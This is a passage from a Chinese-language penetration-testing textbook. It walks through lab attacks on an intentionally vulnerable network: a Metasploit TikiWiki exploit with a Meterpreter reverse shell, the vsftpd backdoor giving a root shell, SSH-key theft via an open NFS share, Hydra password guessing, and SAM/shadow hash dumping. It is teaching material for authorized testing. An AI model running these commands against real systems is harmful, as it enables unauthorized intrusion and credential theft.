根据模块名称，unix/webapp/tikiwiki_graph_formula_exec ❶ 看起来就是我们需要的，因为它的名字中有 graph_formula。当我们在该模块上运行 info 命令时，我们的假设得到了确认。unix/webapp/tikiwiki_graph_formula_exec 的参考资料中的 OSVDB 编号❷与我们在第六章中从 Nikto 扫描获得的输出一致。

这个模块的选项与我们之前的漏洞利用示例不同，正如在示例 8-7 中所示。

示例 8-7. 使用 TikiWiki 漏洞

msf  exploit(seattlelab_pass) > **use unix/webapp/tikiwiki_graph_formula_exec**
msf  exploit(tikiwiki_graph_formula_exec) > **show options**

Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain❶
   RHOST                     yes       The target address
   RPORT    80               yes       The target port
   URI      /tikiwiki        yes       TikiWiki directory path❷
   VHOST                     no        HTTP server virtual host❸

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(tikiwiki_graph_formula_exec) > **set RHOST 192.168.20.11**
RHOST => 192.168.20.11

我们可以为 TikiWiki 服务器设置代理链❶和/或虚拟主机❸，但在这里我们不需要这么做。我们可以将 URI 保持在默认位置/tikiwiki ❷。

这个漏洞涉及 PHP 命令执行，因此我们的有效载荷自然是基于 PHP 的。使用 show payloads 命令（示例 8-8）可以看到，我们可以使用基于 PHP 的 Meterpreter❶，就像我们在 XAMPP 漏洞利用中做的那样。我们还需要再次设置 LHOST 选项❷。

示例 8-8. 使用 Metasploit 攻击 TikiWiki

msf  exploit(tikiwiki_graph_formula_exec) > **set payload** **php/meterpreter/reverse_tcp**❶
payload => php/meterpreter/reverse_tcp

msf  exploit(tikiwiki_graph_formula_exec) > **set LHOST 192.168.20.9**❷
LHOST => 192.168.20.110
msf  exploit(tikiwiki_graph_formula_exec) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Attempting to obtain database credentials...
[*] The server returned            : 200 OK
[*] Server version                 : Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
[*] TikiWiki database informations :

db_tiki   : mysql
dbversion : 1.9
host_tiki : localhost
user_tiki : tiki❸
pass_tiki : tikipassword
dbs_tiki  : tikiwiki

[*] Attempting to execute our payload...
[*] Sending stage (39217 bytes) to 192.168.20.11
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.11:54324) at 2015-01-07 20:41:53 -0500

meterpreter >

如你所见，在利用 TikiWiki 安装漏洞时，Metasploit 模块发现了 TikiWiki 数据库的凭据❸。不幸的是，MySQL 服务器没有在网络上监听，因此这些凭据无法用于进一步的攻破。不过，我们应该记录下来，因为它们可能在后期利用时派上用场。

利用已被攻破的服务

我们在第六章中提到，Linux 目标上的 FTP 服务器提供了 Very Secure FTP 2.3.4 的版本公告，这个版本被替换为包含后门的二进制文件。因为官方代码最终被 Vsftpd 的作者恢复，唯一能确认我们 Linux 目标上的服务器是否有后门代码的方法就是进行测试。（如果该服务器没有后门代码，我们只会在使用笑脸符号时收到登录错误，不需要担心可能导致服务崩溃。）

输入你喜欢的任何用户名，并在末尾加上 :)（见示例 8-9）。密码也可以随便填。如果后门存在，它将会在没有有效凭据的情况下触发。

示例 8-9. 触发 Vsftpd 后门

root@kali:~# ftp 192.168.20.11
Connected to 192.168.20.11.
220 (vsFTPd 2.3.4)
Name (192.168.20.11:root): georgia:)
331 Please specify the password.
Password:

我们注意到密码输入后登录被挂起。这告诉我们 FTP 服务器仍在处理我们的登录尝试，如果我们再次查询 FTP 端口，它将继续响应。让我们使用 Netcat 尝试连接到端口 6200，如果后门存在的话，根 shell 应该会在该端口启动。

root@kali:~# nc 192.168.20.11 6200
# whoami
root

果然，我们获得了一个 root shell。根权限让我们完全控制目标机器。例如，我们可以使用命令cat /etc/shadow获取系统密码哈希。将用户georgia的密码哈希(georgia:$1$CNp3mty6$|RWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7:::)保存到一个名为linuxpasswords.txt的文件中。我们将在第九章尝试将这个哈希转换为明文密码。

利用开放的 NFS 共享

在这一点上，我们知道 Linux 目标已经通过 NFS 导出了georgia的主文件夹，并且该共享对任何人开放，无需凭证即可访问。但如果我们无法使用访问权限读取或写入敏感文件，这可能不会带来太大的安全风险。

回想一下，当我们在第六章扫描 NFS 挂载时，我们看到了.ssh目录。这个目录可能包含用户的私有 SSH 密钥以及用于通过 SSH 验证用户的密钥。让我们看看能否利用这个共享。首先，在你的 Kali 系统上挂载 NFS 共享。

root@kali:~# mkdir /tmp/mount
root@kali:~# mount -t nfs -o nolock 192.168.20.11:/export/georgia /tmp/mount

一开始这看起来并不太有希望，因为georgia没有文档、图片或视频——只有一些我们将在第十六章中使用的简单缓冲区溢出示例。这里似乎没有敏感信息，但在我们得出结论之前，让我们看看.ssh目录里有什么。

root@kali:~# cd /tmp/mount/.ssh
root@kali:/tmp/mount/.ssh# ls
authorized_keys  id_rsa  id_rsa.pub

我们现在可以访问georgia的 SSH 密钥。id_rsa文件是她的私钥，id_rsa.pub是她的对应公钥。我们可以读取甚至更改这些值，并且我们可以写入 SSH 文件authorized_keys，它管理着一个授权登录为georgia用户的 SSH 公钥列表。由于我们拥有写权限，我们可以在这里添加自己的密钥，这将允许我们在以georgia身份登录 Ubuntu 目标时绕过密码认证，正如在示例 8-10 中所示。

示例 8-10. 生成新的 SSH 密钥对

root@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
26:c9:b7:94:8e:3e:d5:04:83:48:91:d9:80:ec:3f:39 root@kali
The key's randomart image is:
+--[ RSA 2048]----+
| . o+B .         |
--*snip*--
+-----------------+

首先，我们使用ssh-keygen在我们的 Kali 机器上生成一个密钥。默认情况下，我们的新公钥会写入/root/.ssh/id_rsa.pub，而私钥会写入/root/.ssh/id_rsa。我们要将我们的公钥添加到 Ubuntu 上georgia的authorized_keys文件中。

接下来，让我们将新生成的公钥追加到georgia的authorized_keys文件中。使用cat命令将/root/.ssh/id_rsa.pub文件的内容输出，并将其追加到georgia的authorized_keys文件中。

root@kali:~# cat ~/.ssh/id_rsa.pub >> /tmp/mount/.ssh/authorized_keys

我们现在应该能够以georgia身份通过 SSH 连接到 Linux 目标。让我们试试看。

root@kali:~# ssh georgia@192.168.20.11
georgia@ubuntu:~$

这个方法很有效。现在我们可以成功地通过公钥认证与 Linux 目标进行身份验证。

我们也可以通过将georgia的密钥复制到 Kali 机器来获得访问权限。为此，我们首先删除我们创建的 SSH 身份。

root@kali:/tmp/mount/.ssh# rm ~/.ssh/id_rsa.pub
root@kali:/tmp/mount/.ssh# rm ~/.ssh/id_rsa

现在，我们将georgia的私钥（id_rsa）和公钥（id_rsa.pub）复制到 Kali 上 root 的.ssh目录，并使用ssh-add命令将身份添加到认证代理中，然后再尝试通过 SSH 连接到 Linux 目标。

root@kali:/tmp/mount/.ssh# cp id_rsa.pub ~/.ssh/id_rsa.pub
root@kali:/tmp/mount/.ssh# cp id_rsa ~/.ssh/id_rsa
root@kali:/tmp/mount/.ssh# ssh-add
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)
root@kali:/tmp/mount/.ssh# ssh georgia@192.168.20.11
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686
georgia@ubuntu:~$

同样，我们通过操控 SSH 密钥成功访问目标。我们从能够读取和写入georgia的主目录文件开始。现在我们已经以georgia用户的身份获得了 Linux 系统的 shell，而无需密码。

总结

在本章中，我们能够将第五章中收集的信息与第六章中发现的漏洞结合起来，利用多个漏洞对 Windows XP 和 Linux 目标进行攻击。我们使用了多种技术，包括攻击配置错误的 Web 服务器、利用后门软件、利用对敏感文件的访问控制不当、利用底层系统的漏洞以及利用第三方软件中的问题。

既然我们已经成功获得了系统的立足点，在下一章中，我们将开始破解我们在系统上找到的密码。

第九章密码攻击

密码通常是渗透测试中最容易突破的部分。一家拥有强大安全计划的客户可以修复缺失的 Windows 补丁和过时的软件，但用户自身是无法通过补丁修复的。我们将在讨论第十一章中的社交工程时，深入探讨如何攻击用户。

在第十一章中，我们将探讨社交工程，但如果我们能够正确猜测或计算出用户的密码，我们可能完全不需要涉及用户进行攻击。在本章中，我们将探讨如何使用工具自动化运行目标上的服务，并发送用户名和密码。此外，我们还将学习如何破解我们在第八章中获得的密码哈希值。

密码管理

公司开始意识到基于密码的身份验证固有的风险；暴力破解攻击和有针对性的猜测都对弱密码构成严重威胁。许多组织使用生物识别技术（如指纹或视网膜扫描）或双重身份验证来减轻这些风险。甚至像 Gmail 和 Dropbox 这样的在线服务也提供双重身份验证，用户除了输入密码，还需要提供第二个值，如电子令牌上的数字。如果没有双重身份验证，那么使用强密码对于账户安全至关重要，因为在攻击者和敏感数据之间，可能仅有一串简单的字符。强密码应该长，包含来自多个复杂度类别的字符，并且不应基于词典中的单词。

本书中使用的密码故意设计得非常糟糕，但不幸的是，许多用户在密码管理方面的行为也好不到哪里去。组织可以强制用户创建强密码，但随着密码变得越来越复杂，记忆它们变得更加困难。用户可能会把自己记不住的密码放在电脑文件、智能手机里，甚至是便签纸上，因为这样更容易管理。当然，密码如果以明文形式放在周围被发现，就会破坏使用强密码的安全性。

另一个密码管理的重大错误是将相同的密码用于多个网站。在最坏的情况下，CEO 为一个受损的论坛使用的弱密码，可能恰好也是他或她访问财务文件的公司密码。密码重用是进行密码攻击时需要考虑的一个因素；你可能会发现相同的密码在多个系统和网站上都能使用。

密码管理对于 IT 工作人员来说是一个棘手的问题，并且除非完全废除基于密码的身份验证，转而采用其他身份验证模型，否则它可能会继续成为攻击者的一个有效途径。

在线密码攻击

就像我们使用自动扫描来寻找漏洞一样，我们可以使用脚本自动尝试登录服务并找到有效的凭证。我们将使用专门设计用于自动化在线密码攻击的工具，或者通过猜测密码直到服务器响应成功登录。这些工具使用一种叫做暴力破解的技术。使用暴力破解的工具会尝试每一种可能的用户名和密码组合，只要有足够的时间，它们会找到有效的凭证。

暴力破解的麻烦在于，随着密码强度的增加，破解密码所需的时间从几小时延长到几年，甚至超出你的自然寿命。通过将一些对正确密码的有根据的猜测输入到自动化登录工具中，我们可能更容易找到有效的凭证。字典词汇容易记住，因此尽管有安全警告，许多用户还是会把它们作为密码的一部分。稍微有点安全意识的用户可能会在密码末尾加上一些数字，甚至是一个感叹号。

字典文件

在你可以使用工具来猜测密码之前，你需要一个凭证列表进行尝试。如果你不知道要破解的用户账户的名称，或者你只是想破解尽可能多的账户，你可以为密码猜测工具提供一个用户名列表，供其逐一尝试。

用户列表

在创建用户列表时，首先尝试确定客户的用户名方案。例如，如果我们试图突破员工的电子邮件账户，弄清楚电子邮件地址的模式是非常重要的。它们是firstname.lastname格式，只有名字，还是其他的格式？

你可以在常见的名字列表中寻找合适的用户名候选者。当然，如果你能够找到目标实际员工的名字，猜测成功的可能性会更高。如果一个公司使用名字首字母加姓氏作为用户名方案，且该公司有一位名叫 John Smith 的员工，那么jsmith很可能是一个有效的用户名。示例 9-1 展示了一个非常简短的示例用户列表。在实际的渗透测试中，你可能需要一个更大的用户列表。

示例 9-1. 用户列表示例

root@kali:~# cat userlist.txt
georgia
john
mom
james

一旦你创建了列表，将示例用户名保存到 Kali Linux 中的一个文本文件中，如示例 9-1 所示。你将使用这个列表在使用 Hydra 猜测用户名和密码中执行在线密码攻击。

密码列表

除了可能的用户列表，我们还需要一个密码列表，如示例 9-2 所示。

示例 9-2. 密码列表示例

root@kali:~# cat passwordfile.txt
password
Password
password1
Password1
Password123
password123

像我们的用户名列表一样，这个密码列表只是一个非常简短的示例（希望它不会在现实中找到太多账户的正确密码）。在实际的工作中，你应该使用更长的字典列表。

互联网上有许多优秀的密码列表。查找字典列表的好地方包括 packetstormsecurity.com/Crackers/wordlists/ 和 www.openwall.com/wordlists/。一些密码列表也内置在 Kali Linux 中。例如，/usr/share/wordlists 目录包含一个名为 rockyou.txt.gz 的文件。这是一个压缩的字典列表。如果你使用 gunzip Linux 工具解压这个文件，你将得到大约 140 MB 的可能密码，这应该能给你一个不错的开端。此外，Kali 中的一些密码破解工具自带示例字典列表。例如，John the Ripper 工具（我们将在离线密码攻击中使用）包含一个位于 /usr/share/john/password.lst 的字典列表。

为了获得更好的结果，可以通过添加额外的单词来定制你的字典列表，以针对特定的目标。你可以根据你在网上收集到的关于员工的信息进行合理猜测。关于配偶、孩子、宠物和爱好的信息可能会帮助你走在正确的道路上。例如，如果你的目标的 CEO 是社交媒体上的泰勒·斯威夫特大粉丝，可以考虑添加与她的专辑、音乐或男朋友相关的关键词。如果你的目标密码是 TaylorSwift13!，你应该能在运行整个预编译字典列表或进行暴力破解尝试之前，通过密码猜测确认它。另一个需要记住的事情是你的目标使用的语言。你的许多渗透测试目标可能是全球性的。

除了根据你在侦察过程中收集到的信息进行合理猜测外，像 ceWL 这样的自定义字典生成工具将会搜索公司网站，收集可以添加到字典列表中的单词。示例 9-3 展示了你如何使用 ceWL 根据 www.bulbsecurity.com 网站的内容创建字典列表。

示例 9-3. 使用 ceWL 构建自定义字典列表

root@kali:~# cewl --help
cewl 5.0 Robin Wood (robin@digininja.org) (www.digininja.org)

Usage: cewl [OPTION] ... URL
--*snip*--
--depth x, -d x: depth to spider to, default 2 ❶
--min_word_length, -m: minimum word length, default 3 ❷
--offsite, -o: let the spider visit other sites
--write, -w file: write the output to the file ❸
--ua, -u user-agent: useragent to send
--*snip*--
URL: The site to spider.
root@kali:~# cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com ❹

命令 ceWL --help 列出了 ceWL 的使用说明。使用 -d（深度）选项 ❶ 来指定 ceWL 应该在目标网站上跟踪多少个链接。如果你认为目标有最低密码长度要求，你可以使用 -m 选项 ❷ 来指定最小单词长度。一旦做出选择，使用 -w 选项 ❸ 将 ceWL 的结果输出到文件。例如，要在深度为 1 的情况下搜索 www.bulbsecurity.com，并设置最小单词长度为 5 个字符，将发现的单词输出到文件 bulbwords.txt，你可以使用 ❹ 处显示的命令。生成的文件将包含网站上符合你要求的所有单词。

另一种创建字典的方法是生成一个包含给定字符集所有可能组合的列表，或者生成一个包含指定字符数的所有可能字符组合的列表。Kali 中的工具 Crunch 可以为你生成这些字符集。当然，可能性越多，所需的磁盘空间就越大。使用 Crunch 的一个非常简单的示例见示例 9-4。

示例 9-4. 使用 Crunch 进行密钥空间暴力破解

root@kali:~# crunch 7 7 AB
Crunch will now generate the following amount of data: 1024 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 128
AAAAAAA
AAAAAAB
--*snip*--

这个示例生成了仅由字符 A 和 B 组成的所有可能七字符组合的列表。一个更有用但更大的示例是输入 crunch 7 8，这将生成一个包含长度在七到八个字符之间的所有可能字符组合的列表，使用默认的 Crunch 字符集，即小写字母。这种技术被称为 密钥空间暴力破解。虽然在你的一生中尝试每一种可能的密码组合是不现实的，但可以尝试特定的子集；例如，如果你知道客户的密码策略要求密码至少七个字符长，那么尝试所有七字符和八字符密码可能会导致破解成功——即使是那些没有根据字典单词设置密码的稀有用户。

注意

开发一个完善的字典或字典集是一个不断发展的过程。在本章的练习中，你可以使用我们在示例 9-2 中创建的简短样本字典，但随着你在这一领域积累经验，你将会开发出更复杂、更适用于客户任务的字典。

现在让我们看看如何使用我们的字典来猜测目标服务上的密码。

使用 Hydra 猜测用户名和密码

如果你有一组凭证，想要尝试在需要登录的运行中的服务上使用，你可以手动一个一个输入，或者使用工具来自动化这个过程。Hydra 是一个在线密码猜测工具，可以用来测试运行服务的用户名和密码。（遵循将安全工具命名为赫拉克勒斯十二项劳绩中受害者的传统，Hydra 被命名为希腊神话中有多个头的蛇怪。）示例 9-5 展示了如何使用 Hydra 进行在线密码猜测的示例。

示例 9-5。使用 Hydra 猜测 POP3 用户名和密码

root@kali:~# hydra -L userlist.txt -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-01-12 15:29:26
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10   login: georgia   password: password❶
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-12 15:29:48

示例 9-5 展示了如何通过运行用户名和密码文件来使用 Hydra 猜测 POP3 凭证，针对我们的 Windows XP 目标进行查找。此命令使用 -L 标志指定用户名文件，使用 -P 指定密码列表文件，并指定 pop3 协议。Hydra 发现 georgia 用户的密码是 password ❶。（georgia 使用如此不安全的密码，真该羞愧！）

有时你会知道某个特定的用户名在服务器上存在，你只需要一个有效的密码来配合它。例如，我们在第六章中使用了 SMTP VRFY 命令来查找 Windows XP 目标上的 SLMail 服务器上的有效用户名。正如你在示例 9-6 中看到的，我们可以使用-l 标志代替 -L 来指定一个特定的用户名。知道这一点后，让我们来寻找 pop3 服务器上 georgia 用户的有效密码。

示例 9-6。使用特定用户名与 Hydra

root@kali:~# hydra -l georgia -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10   login: georgia   password: password❶
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-07 20:22:23

Hydra 找到了 georgia 的密码是 password ❶。

现在，在示例 9-7 中，我们将使用我们的凭证来读取georgia的邮件。

示例 9-7。使用 Netcat 通过猜测的凭证登录

root@kali:~# nc 192.168.20.10 pop3
+OK POP3 server xpvictim.com ready <00037.23305859@xpvictim.com>
**USER georgia**
+OK georgia welcome here
**PASS password**
+OK mailbox for georgia has 0 messages (0 octets)

指定 pop3 协议，并在提示时提供用户名和密码。（不幸的是，这个收件箱里没有情书。）Hydra 可以对多种服务执行在线密码猜测。（有关完整列表，请查看其手册页面。）例如，在这里我们使用通过 Hydra 找到的凭证来使用 Netcat 登录。

请记住，大多数服务都可以配置为在一定次数的登录失败后锁定账户。没有什么比突然锁定多个用户账户更能引起客户 IT 团队注意的了。快速连续的登录尝试也可能会引起防火墙和入侵防御系统的警觉，这样你的 IP 地址会在边界被屏蔽。减慢并随机化扫描速度有助于避免这种情况，但这当然是有权衡的：扫描变慢意味着需要更长的时间才能得到结果。

避免让登录尝试被察觉的一种方法是，在尝试登录之前先猜测密码，正如你将在下一节中学到的那样。

离线密码攻击

破解密码的另一种方法（而不被发现）是获取密码哈希并尝试将它们逆向恢复为明文密码。这说起来容易做起来难，因为哈希是设计为单向哈希函数的产物：给定一个输入，你可以通过哈希函数计算出输出，但给定输出，你无法可靠地确定输入。因此，如果哈希值被泄露，应该无法计算出明文密码。然而，我们可以猜测密码，将其用单向哈希函数进行哈希，然后将结果与已知的哈希进行比较。如果两个哈希值相同，那么我们就找到了正确的密码。

注意

正如你在 LM 与 NTLM 哈希算法一节中所学到的，并非所有密码哈希系统都经得起时间的考验。有些已经被破解，且不再被认为是安全的。在这些情况下，无论选择什么强度的密码，攻击者只要能够访问到哈希值，就能在合理的时间内恢复出明文密码。

当然，如果你能直接获取明文密码，那就更好了，这样就能省去逆向破解加密的麻烦，但你遇到的密码通常会以某种方式被哈希处理。在这一节中，我们将重点讨论如何查找和破解密码哈希。如果你偶然发现一个存储明文密码的程序配置文件、数据库或其他文件，那就更好了。

但在我们尝试破解密码哈希之前，必须先找到它们。我们都希望存储我们密码的服务能够做好保护工作，但这并非理所当然。只需要一个可利用的漏洞或一个成为社交工程攻击受害者的用户（这在第十一章中有讨论），就能导致整个系统崩溃。你会在像 Pastebin 这样的网站上发现大量的密码哈希，这些哈希是过去安全漏洞的遗留物。

在第八章中，我们获得了 Linux 和 Windows XP 目标机上的一些密码哈希。通过 windows/smb/ms08_067_netapi Metasploit 模块，我们获得了 Windows XP 系统上的带有系统权限的 Meterpreter 会话，可以使用 hashdump Meterpreter 命令打印出已哈希的 Windows 密码，如示例 9-8 所示。

示例 9-8. 在 Meterpreter 中导出密码哈希

meterpreter > **hashdump**
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641:::
secret:1004:e52cac67419a9a22664345140a852f61:58a478135a93ac3bf058a5ea0e8fdb71:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::

将哈希导出的输出保存到名为 xphashes.txt 的文件中，稍后我们将使用这个文件在 John the Ripper 中进行破解。

在第八章中，我们通过 Zervit 0.4 中的本地文件包含漏洞下载了 Windows XP 系统的 SAM 和 SYSTEM 注册表文件备份。我们还通过相同的漏洞下载了 FileZilla FTP 服务器的配置文件，该文件包含了使用 MD5 算法哈希的密码。在 Linux 目标机上，Vsftpd 的笑脸后门让我们获得了 root 权限，因此我们可以访问文件 /etc/shadow，该文件存储着 Linux 密码哈希值。我们将用户 georgia 的密码保存到了 linuxpasswords.txt 文件中。

从 Windows SAM 文件中恢复密码哈希

SAM 文件存储的是 Windows 的哈希密码。虽然我们可以通过 Meterpreter 从 Windows XP 系统中导出密码哈希（如前所示），但有时你只能获取到 SAM 文件。

我们未能通过 Zervit 0.4 漏洞访问到主 SAM 文件，但我们成功地从 C:\Windows\repair 目录中下载了一个备份副本，利用的是本地文件包含漏洞。但是当我们尝试读取 SAM 文件时（如示例 9-9 所示），我们没有看到任何密码哈希。

示例 9-9. 查看 SAM 文件

root@bt:~# cat sam
regf     P P5gfhbinDDDDnk,DuDDDDD DDDD DDDDDDDDDxDDDDSAMXDDDskx x D DpDμ\μ?
?   μ μ
                                  DDDDnk LDDDD DBDDDD Dx DDDDDSAMDDDDskxx7d
DHXμ4μ?          DDDDvk D CPDDD D  μDxDμD0Dμ    DμDD 4μ1   ?         DDDDD
DDDDlf   SAMDDDDnk DuDDDDD   H#DDDD Px DDDDDomainsDDDDvkDDDDD8lf DDomaDDDDnk
\DDJDDD DDDDDD0x DDDD( AccountDDDDvk DD
--snip--

SAM 文件经过了混淆，因为 Windows Syskey 工具使用 128 位的 Rivest Cipher 4 (RC4) 算法加密 SAM 文件中的密码哈希值，以提供额外的安全性。即使攻击者或渗透测试人员能够访问 SAM 文件，仍需要做一些工作才能恢复密码哈希。具体来说，我们需要一个密钥来反向解密这些加密的哈希值。

Syskey 工具的加密密钥叫做 bootkey，并存储在 Windows SYSTEM 文件中。你可以在 C:\Windows\repair 目录下找到 SYSTEM 文件的副本，这个目录也是我们找到备份 SAM 文件的地方。我们可以使用 Kali 中的 Bkhive 工具从 SYSTEM 文件中提取 Syskey 工具的 bootkey，这样我们就能解密哈希值，具体操作请参考示例 9-10。

示例 9-10. 使用 Bkhive 提取 bootkey

root@kali:~# bkhive system xpkey.txt
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 015777ab072930b22020b999557f42d5

在这里，我们使用 Bkhive 通过将 SYSTEM 文件system（即我们通过 Zervit 0.4 目录遍历从修复目录下载的文件）作为第一个参数并将文件提取到xpkey.txt来提取启动密钥。一旦获得启动密钥，我们就可以使用 Samdump2 从 SAM 文件中检索密码哈希，如示例 9-11 所示。将 SAM 文件的位置和 Bkhive 提取的启动密钥传递给 Samdump2，Samdump2 将使用启动密钥解密哈希。

示例 9-11. 使用 Samdump2 恢复 Windows 哈希

root@kali:~# samdump2 sam xpkey.txt
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : SAM
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::

现在将这些哈希与在示例 9-8 的活动 Meterpreter 会话中使用hashdump命令找到的哈希进行比较。（具有足够权限的 Meterpreter 会话可以实时转储密码哈希，无需我们下载 SAM 和 SYSTEM 文件。）注意，在示例 9-11 中，我们的哈希列表没有用户georgia或secret的条目。发生了什么？

在使用 Zervit 目录遍历时，我们无法访问位于C:\Windows\System32\config的主 SAM 文件，而是从C:\Windows\repair\sam下载了一个备份。这些用户一定是在 SAM 文件备份创建之后才创建的。不过，我们确实拥有Administrator用户的密码哈希。尽管这个哈希不是完整的或完全最新的，我们仍然可以利用从这个备份的 SAM 文件破解得到的哈希登录系统。

现在让我们看一下另一种访问密码哈希的方式。

使用物理访问转储密码哈希

在某些任务中，你实际上可以获得用户机器的物理访问权限，所谓的物理攻击也在范围内。虽然初看起来物理访问似乎并不是很有用，但你可能能够通过使用 Linux Live CD 重启系统来绕过安全控制，从而访问密码哈希。（我们将使用 Kali ISO 镜像，尽管其他 Linux Live CD 如 Helix 或 Ubuntu 也可以工作。我们在第一章中使用了一个预构建的 Kali 虚拟机。要获取 Kali 的独立 ISO 镜像，请访问www.kali.org。）当你使用 Live CD 启动一台机器时，可以挂载内部硬盘并访问所有文件，包括 SAM 和 SYSTEM 文件。（当 Windows 启动时，会有一些安全控制阻止用户访问 SAM 文件并转储密码哈希，但当文件系统在 Linux 中加载时，这些控制并不会生效。）

我们的 Windows 7 虚拟机，尽管在外部安全方面表现坚固，但在过去几章中有些被忽视。让我们通过物理攻击来获取其哈希值。首先，我们将虚拟机的光驱指向 Kali ISO 文件，如图 9-1 所示（适用于 VMware Fusion）。在 VMware Player 中，选择你的 Windows 7 虚拟机，右键点击并选择设置，然后选择CD/DVD (SATA)，并在页面右侧的“使用 ISO 映像”字段中指向 ISO 文件。

图 9-1. 设置我们的 Windows 7 虚拟机从 Kali ISO 文件启动

默认情况下，VMware 启动虚拟机的速度非常快，以至于很难在 BIOS 设置中更改启动顺序，不能从 CD/DVD 驱动器启动，而是从硬盘启动。为了解决这个问题，我们将在 VMware 配置文件(.vmx)中添加一行，以在 BIOS 屏幕上延迟启动几秒钟。

在你的主机上，浏览到你保存虚拟机的文件夹。然后，在 Windows 7 目标机的文件夹中，找到.vmx配置文件，并在文本编辑器中打开它。配置文件应该与示例 9-12")类似。

示例 9-12. VMware 配置文件(.vmx)
```
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "9"
vcpu.hotadd = "TRUE"
scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
--*snip*--
```
在文件中任何地方添加行bios.bootdelay = 3000。这将告诉虚拟机在启动时延迟 3000 毫秒，或者三秒钟，足够的时间让我们更改启动选项。
保存.vmx文件，然后重启 Windows 7 目标机。一旦可以访问 BIOS，选择从 CD 驱动器启动。虚拟机应当启动 Kali ISO。尽管我们已经进入 Kali 系统，我们仍然可以挂载 Windows 硬盘并访问文件，从而绕过 Windows 操作系统的安全特性。

示例 9-13 展示了如何挂载文件系统并提取密码哈希值。

示例 9-13. 使用 Linux Live CD 提取 Windows 哈希值

root@kali:# ❶**mkdir -p /mnt/sda1**
root@kali:# ❷**mount /dev/sda1 /mnt/sda1**
root@kali:# ❸**cd /mnt/sda1/Windows/System32/config/**
root@kali:/mnt/sda1/Windows/System32/config  **bkhive SYSTEM out**
root@kali:/mnt/sda1/Windows/System32/config  **samdump2 SAM out**
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : CMI-CreateHive{899121E8-11D8-41B6-ACEB-301713D5ED8C}
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Georgia Weidman:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b75B6c:::

我们在❶处使用mkdir命令创建一个目录，用于挂载 Windows 文件系统。接下来，我们使用mount❷将 Windows 文件系统（/dev/sda1）挂载到新创建的目录（/mnt/sda1）中，这意味着目标机的 C 盘实际上位于/mnt/sda1。Windows 中的 SAM 和 SYSTEM 文件位于C:\Windows\System32\config目录中，因此我们使用cd命令切换到/mnt/sda1/Windows/System32/config目录来访问这些文件❸，此时我们可以使用 Samdump2 和 Bkhive 工具对 SAM 和 SYSTEM 文件进行操作，而无需先保存这些文件并将其移动到我们的 Kali 系统。

我们再次成功获取了密码哈希。现在我们有了 Windows XP 目标、Windows 7 目标、Linux 目标以及 Windows XP 目标上的 FileZilla FTP 服务器的哈希值。

注

在第十三章中，我们将探讨一些使用密码哈希进行身份验证的技巧，而无需访问明文密码，但通常，要使用这些哈希，我们需要逆向密码哈希算法并获取明文密码。这一过程的难度取决于所使用的密码哈希算法以及密码的强度。

LM 与 NTLM 哈希算法

